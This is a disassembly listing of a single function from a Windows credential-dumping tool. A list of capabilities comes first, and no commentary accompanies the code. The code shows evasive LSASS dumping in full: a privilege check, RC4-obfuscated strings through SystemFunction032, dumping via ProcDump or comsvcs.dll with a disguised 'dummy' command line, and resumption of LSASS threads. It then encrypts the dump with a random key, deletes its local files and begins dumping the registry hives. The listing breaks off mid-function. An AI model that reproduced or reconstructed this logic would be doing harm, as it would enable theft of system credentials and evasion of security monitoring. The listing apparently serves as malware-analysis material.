Function at 0x140001f30
Capabilities:
Acquire debug privileges
Convert ip address from string
Delete file
Encrypt data using rc4 via systemfunction032
Get common file path
Get file size
Get token privileges
Link many functions at runtime
Read file on windows
Resume thread
Terminate process
Write file on windows

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r14
lea rbp, [rsp - 0x2d08]
mov eax, 0x2e08
call fcn.140005330
sub rsp, rax
mov r12d, ecx
mov r14, rdx
lea rcx, str._______________________________________________________n
call fcn.140001010
lea rcx, str.________________________________________________n
call fcn.140001010
lea rcx, str._________________________________n
call fcn.140001010
lea rcx, str._______________________________n
call fcn.140001010
lea rcx, str.________________________________._____n
call fcn.140001010
lea rcx, str._____________________________________________________n
call fcn.140001010
xor esi, esi
mov edi, esi
mov qword [rbp - 0x38], rsi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp - 0x38]
lea edx, [rsi + 0x28]
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1400020d6
mov rcx, qword [rbp - 0x38]
lea rax, [rsp + 0x64]
lea r9d, [rsi + 4]
mov qword [rsp + 0x20], rax
lea r8, [rbp + 0x2d58]
lea edx, [rsi + 0x14]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x140001ff6
mov edi, dword [rbp + 0x2d58]
test edi, edi
jne 0x1400020d6
mov rcx, qword [rbp - 0x38]
lea rax, [rbp + 0x2d50]
xor r9d, r9d
mov dword [rbp + 0x2d50], esi
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea edx, [r9 + 3]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
mov ebx, dword [rbp + 0x2d50]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, ebx
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
test rax, rax
je 0x1400020d6
mov r9d, dword [rbp + 0x2d50]
lea rax, [rbp + 0x2d50]
mov rcx, qword [rbp - 0x38]
mov r8, rbx
mov edx, 3
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x1400020c2
lea r8, [rbp - 0x78]
xor ecx, ecx
lea rdx, [0x140006e98]
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x1400020c2
mov r8d, dword [rbx]
mov edx, esi
test r8d, r8d
je 0x1400020c2
mov rax, qword [rbp - 0x78]
lea rcx, [rbx + 8]
mov r9d, dword [rbp - 0x74]
nop dword [rax + rax]
cmp dword [rcx - 4], eax
jne 0x1400020b0
cmp dword [rcx], r9d
jne 0x1400020b0
test byte [rcx + 4], 2
jne 0x1400020bd
inc edx
add rcx, 0xc
cmp edx, r8d
jb 0x1400020a0
jmp 0x1400020c2
mov edi, 1
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [rbp - 0x38]
test rcx, rcx
je 0x1400020e5
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
jne 0x14000210c
lea rcx, str.____Dumping_LSASS_Requires_Elevated_Priviledges_
call fcn.140001010
mov rax, 0xffffffffffffffff
add rsp, 0x2e08
pop r14
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
mov qword [rsp + 0x2e40], r13
xor ecx, ecx
mov qword [rsp + 0x2e00], r15
movaps xmmword [rsp + 0x2df0], xmm6
movaps xmmword [rsp + 0x2de0], xmm7
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
mov r8, r14
mov qword [rsp + 0x50], rsi
mov edx, r12d
mov qword [rsp + 0x48], rsi
lea rcx, [rbp + 0x560]
mov qword [rsp + 0x40], rsi
mov r15d, esi
mov dword [rsp + 0x6c], esi
mov rdi, rsi
mov dword [rbp + 0x2d50], esi
mov r13, rsi
mov dword [rbp + 0x2d58], esi
mov dword [rsp + 0x5c], esi
mov dword [rbp - 0x54], esi
call fcn.1400010d0
movups xmm0, xmmword [rax]
movups xmm6, xmmword [rax + 0x10]
movups xmm7, xmmword [rax + 0x20]
movups xmmword [rbp], xmm0
movsd xmm0, qword [rax + 0x30]
movsd qword [rbp + 0x30], xmm0
cmp dword [rbp + 0x34], esi
je 0x1400021ac
mov dword [rbp - 0x40], 0xbb8
mov dword [rbp - 0x28], 0xea60
jmp 0x1400021ba
mov dword [rbp - 0x40], 0x3e8
mov dword [rbp - 0x28], 0x2710
lea rax, [0x140072008]
mov dword [rsp + 0x70], 0x20
mov qword [rsp + 0x78], rax
lea rcx, str.Advapi32
lea rax, [0x14000a248]
mov dword [rsp + 0x74], 0x20
mov qword [rbp - 0x60], rax
mov dword [rbp - 0x68], socket
mov dword [rbp - 0x64], socket
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.SystemFunction032
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rsp + 0x70]
lea rcx, [rbp - 0x68]
call rax
test eax, eax
je 0x140002229
mov edx, eax
lea rcx, str.____SystemFunction032_FAILED_With_Error_:_0x_0.8X_n
call fcn.140001010
lea rcx, str.NTDLL.DLL
mov dword [rsp + 0x68], esi
mov dword [rsp + 0x64], esi
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, [0x140007b08]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r14, rax
test rax, rax
jne 0x14000226f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____GetProcAddress_Failed_With_Error_:__d_n
call fcn.140001010
jmp 0x140002354
xor edx, edx
lea r9, [rsp + 0x68]
xor r8d, r8d
lea ecx, [rdx + 5]
call r14
mov ebx, dword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, ebx
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
test rax, rax
jne 0x1400022bb
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____HeapAlloc_Failed_With_Error_:__d_n
call fcn.140001010
jmp 0x140002354
mov r8d, dword [rsp + 0x68]
lea r9, [rsp + 0x64]
mov rdx, rbx
mov ecx, 5
mov r12, rbx
call r14
test eax, eax
je 0x140002300
mov edx, eax
lea rcx, str.____NtQuerySystemInformation_Failed_With_Error_:_0x_0.8X__n
call fcn.140001010
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x140002354
cmp word [rbx + 0x38], si
je 0x14000232c
mov rax, qword [rbx + 0x40]
lea r8, [0x14000a248]
sub r8, rax
movzx edx, word [rax]
movzx ecx, word [rax + r8]
sub edx, ecx
jne 0x140002328
add rax, 2
test ecx, ecx
jne 0x140002314
test edx, edx
je 0x140002337
mov eax, dword [rbx]
test eax, eax
je 0x14000233b
add rbx, rax
jmp 0x140002300
mov r15d, dword [rbx + 0x50]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, r12
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
test r15d, r15d
jne 0x14000239e
lea rdx, [0x14000a248]
lea rcx, str.____Cound_Not_Get__ss_PID__n
call fcn.140001530
mov rax, 0xffffffffffffffff
movaps xmm6, xmmword [rsp + 0x2df0]
mov r15, qword [rsp + 0x2e00]
mov r13, qword [rsp + 0x2e40]
movaps xmm7, xmmword [rsp + 0x2de0]
add rsp, 0x2e08
pop r14
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
mov r8d, r15d
lea rdx, [0x14000a248]
lea rcx, str.___Found___s____Of_PID_:__d__n
call fcn.140001530
lea rdx, [rbp + 0xab0]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
jne 0x1400023e0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____GetTempPathW_Failed_With_Error_:__d__n
call fcn.140001010
jmp 0x140002367
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
lea rcx, [rbp + 0x90]
mov qword [rbp + 0x90], rax
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__localtime64]
lea r8, str.debug_file_process_info__Y_m_d__H_M_S.dmp
mov edx, 0x100
lea rcx, [rbp + 0x8b0]
mov qword [rbp - 0x68], rax
mov r9, rax
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_wcsftime]
movdqa xmm0, xmm7
mov dword [rsp + 0x70], 0x20
psrldq xmm0, 8
lea rcx, str.Advapi32
movd ebx, xmm0
mov r12, 0xffffffffffffffff
mov dword [rsp + 0x74], 0x20
mov dword [rsp + 0x68], ebx
test ebx, ebx
je 0x1400026ed
lea rdi, [0x140072008]
mov dword [rbp - 0x78], send
lea rbx, [0x140072028]
mov qword [rsp + 0x78], rdi
mov qword [rbp - 0x70], rbx
mov dword [rbp - 0x74], send
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.SystemFunction032
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rsp + 0x70]
lea rcx, [rbp - 0x78]
call rax
test eax, eax
je 0x1400024ab
mov edx, eax
lea rcx, str.____SystemFunction032_FAILED_With_Error_:_0x_0.8X_n
call fcn.140001010
lea rax, [0x14000a160]
mov dword [rsp + 0x70], 0x20
lea rcx, str.Advapi32
mov qword [rbp - 0x70], rax
mov dword [rsp + 0x74], 0x20
mov qword [rsp + 0x78], rdi
mov dword [rbp - 0x78], 0xe2
mov dword [rbp - 0x74], 0xe2
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.SystemFunction032
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rsp + 0x70]
lea rcx, [rbp - 0x78]
call rax
test eax, eax
je 0x140002513
mov edx, eax
lea rcx, str.____SystemFunction032_FAILED_With_Error_:_0x_0.8X_n
call fcn.140001010
movq r14, xmm6
lea r8, str._s__s__d__o__s
mov qword [rsp + 0x30], r14
lea rcx, [rbp + 0x5a0]
mov dword [rsp + 0x28], r15d
mov edx, 0x100
mov r15, qword [rbp]
mov r9, r15
mov qword [rbp - 0x80], r14
mov qword [rsp + 0x20], rbx
call fcn.140001070
lea r9, [rbp + 0x5a0]
mov edx, 0x200
lea r8, [0x140007168]
lea rcx, [rbp + 0xcc0]
call fcn.140001e70
mov rbx, r12
nop dword [rax]
inc rbx
cmp byte [r15 + rbx], sil
jne 0x140002570
lea rcx, [rbx*2 + 2]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, rax
test rax, rax
jne 0x1400025a3
lea rcx, str.____Memory_Allocation_Failed_for_ConvertToWideString
call fcn.140001010
mov rdi, rsi
jmp 0x1400026a5
mov rcx, rsi
test rbx, rbx
je 0x1400026a1
cmp rbx, 4
jb 0x140002690
lea rdx, [rax - 2]
lea rax, [r15 - 1]
add rax, rbx
lea rdx, [rdx + rbx*2]
cmp rdi, rax
ja 0x1400025d6
cmp rdx, r15
jae 0x140002690
cmp rbx, 0x20
jb 0x140002654
mov r9, rbx
mov r8, rbx
and r9d, 0x1f
sub r8, r9
lea rax, [r15 + 0x10]
lea rdx, [rdi + 0x20]
movq xmm0, qword [rax - 0x10]
lea rdx, [rdx + 0x40]
movq xmm1, qword [rax - 8]
lea rax, [rax + 0x20]
punpcklbw xmm0, xmm0
add rcx, 0x20
punpcklbw xmm1, xmm1
psraw xmm0, 8
psraw xmm1, 8
movdqu xmmword [rdx - 0x60], xmm0
movq xmm0, qword [rax - 0x20]
punpcklbw xmm0, xmm0
psraw xmm0, 8
movdqu xmmword [rdx - 0x50], xmm1
movq xmm1, qword [rax - 0x18]
punpcklbw xmm1, xmm1
psraw xmm1, 8
movdqu xmmword [rdx - 0x40], xmm0
movdqu xmmword [rdx - 0x30], xmm1
cmp rcx, r8
jb 0x1400025f1
cmp r9, 4
jb 0x14000267d
mov rax, rbx
and rax, 0xfffffffffffffffc
nop dword [rax + rax]
movd xmm0, dword [rcx + r15]
punpcklbw xmm0, xmm0
psraw xmm0, 8
movq qword [rdi + rcx*2], xmm0
add rcx, 4
cmp rcx, rax
jb 0x140002660
cmp rcx, rbx
jae 0x1400026a1
nop dword [rax]
nop word [rax + rax]
movsx eax, byte [rcx + r15]
mov word [rdi + rcx*2], ax
inc rcx
cmp rcx, rbx
jb 0x140002690
mov word [rdi + rbx*2], si
lea rax, [rbp + 0x8b0]
mov r9, rdi
mov qword [rsp + 0x30], rax
lea r8, str._ls__ls__ls_ls
lea rax, [rbp + 0xab0]
mov edx, 0x400
mov qword [rsp + 0x28], rax
lea rcx, [rbp + 0x10c0]
lea rax, [0x14000a160]
mov qword [rsp + 0x20], rax
call fcn.140001e70
mov ebx, dword [rsp + 0x68]
jmp 0x14000282c
lea rax, [0x14000a260]
mov dword [rbp - 0x78], 0x94
lea r14, [0x140072008]
mov qword [rbp - 0x70], rax
mov qword [rsp + 0x78], r14
mov dword [rbp - 0x74], 0x94
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.SystemFunction032
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rsp + 0x70]
lea rcx, [rbp - 0x78]
call rax
test eax, eax
je 0x140002745
mov edx, eax
lea rcx, str.____SystemFunction032_FAILED_With_Error_:_0x_0.8X_n
call fcn.140001010
lea rax, [0x14000a350]
mov dword [rsp + 0x70], 0x20
lea rcx, str.Advapi32
mov qword [rbp - 0x70], rax
mov dword [rsp + 0x74], 0x20
mov qword [rsp + 0x78], r14
mov dword [rbp - 0x78], 0x11e
mov dword [rbp - 0x74], 0x11e
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.SystemFunction032
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rsp + 0x70]
lea rcx, [rbp - 0x78]
call rax
test eax, eax
je 0x1400027ad
mov edx, eax
lea rcx, str.____SystemFunction032_FAILED_With_Error_:_0x_0.8X_n
call fcn.140001010
movq r14, xmm6
lea r8, str._d__s_full
mov r9d, r15d
mov qword [rbp - 0x80], r14
mov edx, 0x100
mov qword [rsp + 0x20], r14
lea rcx, [rbp + 0x5a0]
call fcn.140001070
lea rax, [rbp + 0x5a0]
mov edx, 0x200
lea r9, [0x14000a260]
mov qword [rsp + 0x20], rax
lea r8, str._ls__S
lea rcx, [rbp + 0xcc0]
call fcn.140001e70
lea rax, [rbp + 0x8b0]
mov edx, 0x400
lea r9, [0x14000a350]
mov qword [rsp + 0x20], rax
lea r8, str._ls_ls
lea rcx, [rbp + 0x10c0]
call fcn.140001e70
movdqa xmm0, xmm7
psrldq xmm0, 4
movd r15d, xmm0
mov dword [rsp + 0x58], r15d
test r15d, r15d
je 0x14000286a
lea rdx, [rbp + 0xcc0]
lea rcx, str._i__Real_Command:__s_n
call fcn.140001530
lea rdx, [rbp + 0x10c0]
lea rcx, str._i__Dummy_Command:__s_n_n
call fcn.140001530
lea rax, [rbp + 0x10c0]
mov rcx, r12
inc rcx
cmp word [rax + rcx*2], si
jne 0x140002874
lea rdx, [rbp + 0xcc0]
mov rax, r12
inc rax
cmp word [rdx + rax*2], si
jne 0x140002887
cmp rax, rcx
jbe 0x1400028af
lea rcx, str.____Real_Command_Cannot_Be_Longer_Than_Dummy_Command__n
call fcn.140001010
mov r14, rsi
mov r12, rsi
mov r15, rsi
jmp 0x140002dac
mov qword [rbp - 0x78], rsi
mov qword [rbp - 0x10], rsi
mov dword [rsp + 0x60], esi
test ebx, ebx
je 0x1400028f3
lea rcx, str._i__Dumping_LSASS_Using_ProcDump..._n
call fcn.140001010
mov r8, qword [rbp]
lea rcx, [0x14000a470]
mov r9d, r15d
mov edx, 0x67b98
call fcn.140001b90
mov rax, r12
inc rax
cmp word [rdi + rax*2], si
jne 0x1400028e6
add eax, eax
jmp 0x140002904
lea rcx, str._i__Dumping_LSASS_Using_comsvcs.dll..._n
call fcn.140001010
mov eax, 0x40
movdqa xmm0, xmm7
mov qword [rbp - 0x38], rax
psrldq xmm0, 0xc
movd ecx, xmm0
mov dword [rsp + 0x64], ecx
nop dword [rax]
test ecx, ecx
lea rdx, [rbp + 0x10c0]
lea rcx, [rbp - 0x10]
mov r9d, r15d
mov qword [rsp + 0x30], rcx
mov r8d, eax
lea rcx, [rbp - 0x78]
mov qword [rsp + 0x28], rcx
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x20], rcx
lea rcx, [rbp + 0x10c0]
jne 0x14000295b
lea rdx, [rbp + 0xcc0]
call fcn.140001590
test eax, eax
je 0x140002b91
test r15d, r15d
je 0x140002979
lea rcx, str._i__Reading_Dump_File_and_Zeroing_Bytes..._n
call fcn.140001010
test ebx, ebx
je 0x140002988
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edi, esi
nop word [rax + rax]
mov qword [rsp + 0x30], rsi
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
xor r8d, r8d
mov edx, 0x40000000
mov dword [rsp + 0x20], 3
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140002a26
mov ecx, 6
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
test rax, rax
jne 0x1400029e0
lea rcx, str.____Memory_allocation_failed_n
call fcn.140001010
jmp 0x140002a1d
xor ecx, ecx
mov qword [rsp + 0x20], rsi
mov dword [rax], ecx
lea r9, [rbp - 0x20]
mov word [rax + 4], cx
mov rdx, rax
lea r8d, [rcx + 6]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x140002a36
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rdx, r14
lea rcx, str.____Failed_to_write_to_file__s:__d_n
mov r8d, eax
call fcn.140001010
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
inc edi
cmp edi, 0x186a0
jl 0x140002990
jmp 0x140002a3f
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test r15d, r15d
je 0x140002a52
mov edx, edi
lea rcx, str._i__Retry_Count:__d_n
call fcn.140001010
cmp edi, 0x186a0
jne 0x140002bc2
lea rcx, str.____Failed_to_Locate_LSASS_Dump_File__n
call fcn.140001010
lea rdx, [rbp - 0x58]
mov dword [rbp - 0x58], esi
call fcn.140004620
mov r12, rax
test rax, rax
jne 0x140002a98
test r15d, r15d
je 0x140002b61
lea rcx, str._i__LSASS_is_Running__Continuing..._n
call fcn.140001010
jmp 0x140002b61
lea rcx, str._i__LSASS_is_Suspended__Resuming_Threads..._n
call fcn.140001010
mov eax, dword [rbp - 0x58]
test eax, eax
je 0x140002b4c
mov rdi, r12
mov r14d, eax
nop word [rax + rax]
mov r8d, dword [rdi]
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rbx, rax
test rax, rax
jne 0x140002af0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, dword [rdi]
lea rcx, str.Failed_to_open_thread__lu:__lu_n
mov r8d, eax
call fcn.140001010
jmp 0x140002b38
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
je 0x140002b18
cmp eax, 1
ja 0x140002af0
test r15d, r15d
je 0x140002b2f
mov edx, dword [rdi]
lea rcx, str._i_Thread__lu_resumed_successfully._n
call fcn.140001010
jmp 0x140002b2f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, dword [rdi]
lea rcx, str.Failed_to_resume_thread__lu:__lu_n
mov r8d, eax
call fcn.140001010
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rdi, 4
sub r14, 1
jne 0x140002ac0
mov r14, qword [rbp - 0x80]
jmp 0x140002b58
lea rcx, str.No_threads_to_resume._n
call fcn.140001010
mov rcx, r12
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
cmp dword [rsp + 0x64], esi
jne 0x140002bab
mov ebx, dword [rbp - 0x54]
cmp ebx, 3
jge 0x140002bab
lea rcx, str._n_i__Trying_to_Dump_LSASS_Again..._n
call fcn.140001010
mov rax, qword [rbp - 0x38]
inc ebx
mov ecx, dword [rsp + 0x64]
mov dword [rbp - 0x54], ebx
mov ebx, dword [rsp + 0x68]
jmp 0x140002920
lea rcx, str.____Failed_to_Create_Process_to_Dump_LSASS_
call fcn.140001010
mov r14, rsi
mov r12, rsi
mov r15, rsi
jmp 0x140002dac
cmp dword [rbp + 0x30], esi
jne 0x140002ffe
mov r14, rsi
mov r12, rsi
mov r15, rsi
jmp 0x140002dac
mov qword [rsp + 0x30], rsi
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
xor r8d, r8d
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
mov rcx, r14
mov dword [rsp + 0x64], esi
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov r14, rax
cmp rax, 0xffffffffffffffff
je 0x1400045fb
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, edi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r8d, edi
xor edx, edx
mov rcx, rax
mov qword [rsp + 0x40], rax
mov r12, rax
call sub.VCRUNTIME140.dll_memset
lea r9, [rsp + 0x64]
mov qword [rsp + 0x20], rsi
mov r8d, edi
mov rdx, r12
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x140002c6d
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r12, qword [rbp - 0x80]
lea rcx, str.____Error_Rading_File__s:__d
mov r8d, eax
mov rdx, r12
call fcn.140001010
jmp 0x140002c71
mov r12, qword [rbp - 0x80]
mov ebx, dword [rsp + 0x64]
mov rcx, r14
mov dword [rsp + 0x6c], ebx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp qword [rsp + 0x40], rsi
je 0x1400045fb
test ebx, ebx
je 0x1400045fb
xorps xmm1, xmm1
lea rcx, str.___LSASS_Dump_Read:__.2f_MB_n_n
cvtsi2sd xmm1, rbx
mulsd xmm1, qword [0x140007ce0]
movq rdx, xmm1
call fcn.140001010
mov r15, qword [rsp + 0x40]
lea rdi, [rbp + 0xa0]
mov qword [rsp + 0x40], r15
mov ebx, esi
nop dword [rax]
mov r14, r15
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movzx ecx, al
inc ebx
mov eax, 0x80808081
lea rdi, [rdi + 1]
mul ecx
shr edx, 7
imul eax, edx, 0xff
sub ecx, eax
mov byte [rdi - 1], cl
cmp ebx, 0x40
jb 0x140002cd0
movups xmm0, xmmword [rbp + 0xa0]
lea rax, [rbp + 0xa0]
movups xmm1, xmmword [rbp + 0xb0]
lea rcx, str.Advapi32
mov edi, dword [rsp + 0x6c]
movups xmmword [rbp + 0xe0], xmm0
movups xmm0, xmmword [rbp + 0xc0]
movups xmmword [rbp + 0xf0], xmm1
movups xmm1, xmmword [rbp + 0xd0]
movups xmmword [rbp + 0x100], xmm0
movups xmmword [rbp + 0x110], xmm1
mov dword [rsp + 0x70], 0x40
mov dword [rsp + 0x74], 0x40
mov qword [rsp + 0x78], rax
mov dword [rbp - 0x38], edi
mov dword [rbp - 0x34], edi
mov qword [rbp - 0x30], r15
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.SystemFunction032
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rsp + 0x70]
lea rcx, [rbp - 0x38]
call rax
mov r15d, dword [rsp + 0x58]
test eax, eax
je 0x140002e7b
mov edx, eax
lea rcx, str.____SystemFunction032_FAILED_With_Error_:_0x_0.8X_n
call fcn.140001010
mov r14, rsi
mov r12, rsi
mov r15, qword [rsp + 0x40]
mov rbx, qword [rbp - 0x80]
mov rcx, rbx
call fcn.140001c60
mov rdi, qword [rbp]
cmp dword [rsp + 0x68], esi
je 0x140002def
mov rcx, rdi
call fcn.140001c60
test eax, eax
jne 0x140002def
lea ecx, [rax + 0x64]
call qword [sym.imp.KERNEL32.dll_Sleep]
inc esi
cmp esi, 0x14
jl 0x140002dc2
jne 0x140002def
mov rdx, rdi
lea rcx, str.____Failed_to_Delete__s_n
call fcn.140001010
test r15, r15
je 0x140002e08
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, r15
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
test r13, r13
je 0x140002e21
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, r13
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
test r14, r14
je 0x140002e3a
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, r14
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
test r12, r12
je 0x140002e53
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, r12
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, qword [rbp + 8]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, str._i__Cleaning_up_local_files..._n
call fcn.140001010
lea rdx, [0x140006dac]
mov rcx, r12
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
test rax, rax
je 0x140002edb
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
je 0x140002ec3
mov rdx, r12
lea rcx, str._i___s_Deleted._n
call fcn.140001010
jmp 0x140002edb
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rdx, r12
lea rcx, str.____Error_deleting_file__s:__d_n
mov r8d, eax
call fcn.140001010
mov qword [rsp + 0x40], r14
cmp dword [rsp + 0x68], esi
je 0x140002f7a
mov dword [rsp + 0x6c], edi
mov ebx, esi
mov rdi, qword [rbp]
mov qword [rsp + 0x40], r14
nop dword [rax]
lea rdx, [0x140006dac]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
test rax, rax
je 0x140002f43
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x140002f57
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rdx, rdi
lea rcx, str.____Error_deleting_file__s:__d_n
mov r8d, eax
call fcn.140001010
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
inc ebx
cmp ebx, 0x14
jl 0x140002f00
jmp 0x140002f66
mov rdx, rdi
lea rcx, str._i___s_Deleted._n
call fcn.140001010
cmp ebx, 0x14
jne 0x140002f7a
mov rdx, rdi
lea rcx, str.____Failed_to_Delete__s_n
call fcn.140001010
lea rcx, [0x140006c2c]
call fcn.140001010
mov ebx, 0x36
mov qword [rbp - 0x38], rbx
cmp dword [rbp + 0x30], esi
jne 0x140003002
mov r14, rsi
mov rbx, qword [rsp + 0x40]
movd eax, xmm7
test eax, eax
je 0x140003fb7
lea rcx, str._i__Local_Mode_Selected._Writing_Encrypted_File_s__to_Disk..._n
call fcn.140001010
test rbx, rbx
je 0x140003c94
mov r15, qword [rbp + 8]
lea rdx, [0x140006c88]
mov edi, dword [rsp + 0x6c]
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov rbx, rax
test rax, rax
jne 0x140003c47
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rdx, r15
lea rcx, str.____Error_opening_file__s:__ld_n
mov r8d, eax
call fcn.140001010
jmp 0x140003c94
mov rbx, qword [rbp - 0x38]
lea rcx, str._i__Dumping_Registry_Hives..._n
call fcn.140001010
lea r14, [0x140072008]
mov dword [rbp - 0x20], 0x20
lea rdi, [0x14000a300]
mov qword [rbp - 0x18], r14
lea rcx, str.Advapi32
mov qword [rbp - 0x48], rdi
mov dword [rbp - 0x1c], 0x20
mov dword [rbp - 0x50], 0x4e
mov dword [rbp - 0x4c], 0x4e
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.SystemFunction032
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp - 0x20]
lea rcx, [rbp - 0x50]
call rax
test eax, eax
je 0x140003079
mov edx, eax
lea rcx, str.____SystemFunction032_FAILED_With_Error_:_0x_0.8X_n
call fcn.140001010
mov qword [rbp - 0x48], r14
lea rcx, str.Advapi32
lea r14, [0x14000a0a0]
mov dword [rbp - 0x50], 0x20
mov qword [rbp - 0x18], r14
mov dword [rbp - 0x4c], 0x20
mov dword [rbp - 0x20], 0xc0
mov dword [rbp - 0x1c], 0xc0
